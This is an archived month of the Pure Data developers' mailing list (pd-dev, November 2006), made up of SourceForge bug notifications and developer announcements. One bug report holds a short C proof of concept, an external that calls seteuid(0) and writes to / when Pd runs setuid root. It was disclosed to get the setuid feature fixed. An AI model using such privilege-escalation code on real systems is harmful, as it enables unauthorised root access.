Pd-dev November 2006

pd-dev@lists.iem.at

30 participants
69 discussions

[ pure-data-Bugs-1602617 ] some small issues in doc/3.audio.examples/
by SourceForge.net 25 Nov '06

25 Nov '06

Bugs item #1602617, was opened at 2006-11-25 06:56 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602617&group_… Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: puredata Group: None Status: Open Resolution: None Priority: 5 Private: No Submitted By: ClaudiusMaximus (claudiusmaximus) Assigned to: Nobody/Anonymous (nobody) Summary: some small issues in doc/3.audio.examples/ Initial Comment: Tested with pd-0.40-2 from Miller's site. D10.sampler.notes.pd error: ($4: argument number out of range error: tabread4~: sample0: no such array error: tabwrite~: sample: no such array E07.evenodd.pd error: array1: no such object error: array1: no such object error: array1: no such object E10.complex.FM.pd error: tabwrite~: E10-signal: no such array H04.filter.sweep.pd error: tabread4~: mtof: no such array H05.filter.floyd.pd error: 1280-metro: no such object H15.phaser.pd error: 1337-pole: no such object I07.phase.vocoder.pd error: detune: no such object J01.even.odd.pd pd: unknown message DSP 1 ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602617&group_…

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[ pure-data-Bugs-1602345 ] security vulnerability, giving root access
by SourceForge.net 24 Nov '06

24 Nov '06

Bugs item #1602345, was opened at 2006-11-24 10:48 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345&group_… Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: puredata Group: None Status: Open Resolution: None Priority: 5 Private: No Submitted By: Mathieu Bouchard (matju) Assigned to: Nobody/Anonymous (nobody) Summary: security vulnerability, giving root access Initial Comment: first configure with --enable-setuid or just chmod 4755 pd && chown root pd, which has the same effect. then load this external called crack.c by making a [crack] box or -lib crack: #include <unistd.h> #include <stdio.h> void crack_setup (void) { seteuid(0); fopen("/hax0r","w"); } An empty file called "hax0r" appears in protected folder "/" even though privileges have been dropped by pd upon startup. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602345&group_…

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four new polyphony management objects
by Ed Kelly 24 Nov '06

24 Nov '06

Greetings all, After a long hiatus there are four new polyphony management objects in my folder - and a bugfix for hasc~ (it wouldn't compile). sieve polymap polystat maskxor - are new, and may be useful for more than just poly stuff. The helpfile for hasc~ is on the way, since I just noticed it's not there! On a day when I am teaching less... Best, Ed -> -> --> ---> -----> --------> -------------> ---------------------> "Genius is attention to detail" Louis Pasteur Send instant messages to your online friends http://uk.messenger.yahoo.com

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[ pure-data-Bugs-1602066 ] iemgui empty vertical offset crashes X on Linux
by SourceForge.net 24 Nov '06

24 Nov '06

Bugs item #1602066, was opened at 2006-11-24 02:00 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602066&group_… Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: puredata Group: v0.39.2 Status: Open Resolution: None Priority: 5 Private: No Submitted By: ClaudiusMaximus (claudiusmaximus) Assigned to: Nobody/Anonymous (nobody) Summary: iemgui empty vertical offset crashes X on Linux Initial Comment: Steps to crash X windowing system on Linux using Pd: 1. Start X 2. Start Pd 3. Create a new patch 4. Create a new vslider in that patch 5. Open the properties window for that vslider 6. Set the label to x, and delete all text in the y-off field 7. to cause X to crash, click apply at this point X starts to use 100% CPU and its memory usage shoots up, making the whole machine largely unresponsive and requiring X to be aborted with Ctrl-Alt-Backspace Pd version 0.39-2 tcl 8.4.9 tk 8.4.9 X.org version 6.8.2 Kernel version 2.6.14-gentoo-r5 ATI proprietary video drivers ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602066&group_…

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[ pure-data-Bugs-1602093 ] non-executable files installed with executable permissions
by SourceForge.net 24 Nov '06

24 Nov '06

Bugs item #1602093, was opened at 2006-11-24 04:12 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602093&group_… Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: puredata Group: None Status: Open Resolution: None Priority: 5 Private: No Submitted By: ClaudiusMaximus (claudiusmaximus) Assigned to: Nobody/Anonymous (nobody) Summary: non-executable files installed with executable permissions Initial Comment: With pd-0.40-2 from Miller's site: ./configure --enable-jack --prefix=$HOME/puredata-0-40-2 && make && make install cd $HOME/puredata-0-40-2 find -type f -exec ls -l {} \; | grep "\-rwx" | grep -v "\.pd_linux" | sed "s-^.*\ --g" | grep -v "/bin/" | sort ...gives a list of files that are installed with executable permissions and that are not executable files. This list is attached. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1602093&group_…

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DesireData goes C++
by Mathieu Bouchard 24 Nov '06

24 Nov '06

Starting now, desire.c is compiled as C++. This has some immediate advantages: * I can mix statements and declarations as I wish, without requiring a C99 compiler, which VC6 is not (if ever the Windows people stick to using VC6) * Structs can inherit from each other instead of embedding each other, which means less nested member accesses and less casts. * Loops can include declarations, thus so can loop-macros like canvas_each and such. However, the desire.h and m_pd.h interfaces are supposed to remain pure C, as well as all existing C files that have not been forked. _ _ __ ___ _____ ________ _____________ _____________________ ... | Mathieu Bouchard - tél:+1.514.383.3801 - http://artengine.ca/matju | Freelance Digital Arts Engineer, Montréal QC Canada

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pd-extended 0.39-2 Nov 21st nightly build
by B. Bogart 23 Nov '06

23 Nov '06

Hey all, I tried to use the PD extended installer on my 10.3.9 machine. It seems all the ones listed on the autobuild list are 10.4 now, is 10.3.9 no longer supported? So I can see that gem gets loaded fine, in the console window. But it seems no gem objects work.. "gemwin" for example. Is this a 10.3.9 issue? I don't see any errors in the console other than the usual JAR/jack stuff. I'm doing a demo next week and am not sure what version to suggest... (well the old 0.38 extended build has issues...) Thanks. ,b,

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DesireData's ./configure
by Mathieu Bouchard 23 Nov '06

23 Nov '06

I started DesireData's build scripts by modifying Miller's 0.39 scripts to make them more like devel_0_39's SCons files except that there are only made for building DesireData and not the standard devel_0_39 branch. Then I made a few extra changes: * Tcl doesn't need to be detected, because DesireData doesn't compile with libtcl. The t_*.c files are not used in DesireData because they correspond to features that we already can do in two lines of Tcl since longer than Pd existed. * I removed the setuid feature because Pd isn't a proper setuid app, as it doesn't make any checks to prevent the user from abusing the access it gets. I don't see why anyone should use this feature. Login as root if you want to login as root. * Portaudio 18 is no longer supported. * I'm cleaning up the detection of JACK and other audio stuff. Somehow, some lines about JACK come in 4 or 5 copies in Miller's configure.in, and they look as if they were generated by a script because it really doesn't look like anyone would ever write code like that. Anyway - it's gone now. I'm going to finish the work on this soon. * to be continued. _ _ __ ___ _____ ________ _____________ _____________________ ... | Mathieu Bouchard - tél:+1.514.383.3801 - http://artengine.ca/matju | Freelance Digital Arts Engineer, Montréal QC Canada

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[ pure-data-Bugs-1601235 ] vcf_lp4~ outputs nan in helpfile on osx
by SourceForge.net 23 Nov '06

23 Nov '06

Bugs item #1601235, was opened at 2006-11-22 11:16 Message generated for change (Settings changed) made by eighthave You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1601235&group_… Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. >Category: externals >Group: v0.39.2 Status: Open Resolution: None Priority: 5 Private: No Submitted By: Nobody/Anonymous (nobody) >Assigned to: musil (tmusil) Summary: vcf_lp4~ outputs nan in helpfile on osx Initial Comment: [env~] outputs nan when i connect it to the [vcf_lp4~] object in help-vcf_lp4~.pd testing with Pd-0.39.2-extended-test4 on osx 10.3.9 vcf_lp2~ is ok but the nan appers with help-vcf_lp8~ again ---------------------------------------------------------------------- Comment By: eerne (eerne) Date: 2006-11-23 06:27 Message: Logged In: YES user_id=1373643 Originator: NO grüezi just one more comment: i tried to reduce the patch to the bug by using [osc~] && [sig~] instead of [testtone~] && [line~] but couldn't reproduce it this way. so i just added [env~] to the help patch. ---------------------------------------------------------------------- Comment By: eerne (eerne) Date: 2006-11-23 06:21 Message: Logged In: YES user_id=1373643 Originator: NO yep sorry... it seems that i can't attache a file when i reply to this bug. i post the file as text... or should i start a new bugreport ? thanks here it is: bug-help-vcf_lp4~.pd #N canvas 667 62 447 486 10; #X text 16 291 ~signal_in~; #X text 32 33 dsp ON/OFF; #X floatatom 104 145 3 15 133 0 - - -; #X obj 104 168 mtof; #X floatatom 104 191 9 0 22000 0 - - -; #X text 174 190 Hz; #X text 101 336 ~signal_out~; #X floatatom 232 325 7 0 0 0 - - -; #X text 289 327 dB; #X floatatom 181 140 9 0 22000 0 - - -; #X text 256 139 Hz; #X floatatom 95 96 3 15 133 0 - - -; #X floatatom 15 73 5 0 0 0 - - -; #X text 57 73 % cpu; #X obj 15 53 dsp; #X floatatom 146 238 7 0.01 1000 0 - - -; #X text 205 239 Q; #X obj 15 33 tgl 15 0 empty empty empty 8 -8 0 10 -262144 -1 -1 0 1 ; #X obj 95 382 dac~; #X obj 95 357 gainvu~ 300; #X obj 277 203 vu 15 120 empty empty 8 -8 0 10 -66577 -1 1 0; #X obj 333 226 vsl 15 128 0 127 0 1 empty empty empty 8 -8 0 10 -262144 -1 -1 10000 1; #X obj 95 118 testtone~ 200; #X obj 162 79 init 69; #X text 122 97 midi; #X floatatom 326 374 7 0 0 0 - - -; #X text 382 375 dB; #X text 159 308 no arg.; #X obj 104 282 line~; #X obj 146 282 line~; #X obj 104 213 pack 0 10; #X obj 146 260 pack 0 10; #X obj 95 311 vcf_lp4~; #X text 156 14 frequency and Q; #X text 133 1 lowpass 4.order with signal-inlets for; #X obj 41 128 init 69; #X obj 25 221 init 0.707; #X obj 12 12 cnv 8 1 1 empty empty vcf_lp4~ 1 2 1 18 -262144 -1109 0; #X text 195 428 IEM KUG; #X text 179 416 musil; #X text 209 416 @; #X text 215 416 iem.at; #X text 130 405 (c) Thomas Musil 2000 - 2005; #X text 178 438 Graz \, Austria; #X floatatom 35 378 5 0 0 0 - - -; #X obj 37 353 envrms~; #X connect 2 0 3 0; #X connect 3 0 4 0; #X connect 4 0 30 0; #X connect 11 0 22 0; #X connect 14 0 12 0; #X connect 15 0 31 0; #X connect 17 0 14 0; #X connect 19 0 18 0; #X connect 19 0 18 1; #X connect 19 1 25 0; #X connect 19 2 20 0; #X connect 20 1 7 0; #X connect 21 0 19 1; #X connect 22 0 32 0; #X connect 22 1 9 0; #X connect 23 0 11 0; #X connect 28 0 32 1; #X connect 29 0 32 2; #X connect 30 0 28 0; #X connect 31 0 29 0; #X connect 32 0 19 0; #X connect 32 0 45 0; #X connect 35 0 2 0; #X connect 36 0 15 0; #X connect 45 0 44 0; ---------------------------------------------------------------------- Comment By: Hans-Christoph Steiner (eighthave) Date: 2006-11-22 13:03 Message: Logged In: YES user_id=27104 Originator: NO An example patch is always very helpful, especially if it triggers the problem every time that it is run. Ideally the example patch would have only enough objects to cause the problem, but nothing else. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1601235&group_…

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[ pure-data-Bugs-1601850 ] [vcf_filter~] without arguments crashes Pd
by SourceForge.net 23 Nov '06

23 Nov '06

Bugs item #1601850, was opened at 2006-11-23 11:17 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1601850&group_… Please note that this message will contain a full copy of the comment thread, including the initial issue submission, for this request, not just the latest update. Category: externals Group: v0.39.2 Status: Open Resolution: None Priority: 8 Private: No Submitted By: Hans-Christoph Steiner (eighthave) Assigned to: musil (tmusil) Summary: [vcf_filter~] without arguments crashes Pd Initial Comment: Running Pd-0.39.2-extended-2006-11-23 on Mac OS X 10.4, when I instantiate [vcf_filter~] without any arguments, it crashes Pd. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=478070&aid=1601850&group_…

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Pd-dev November 2006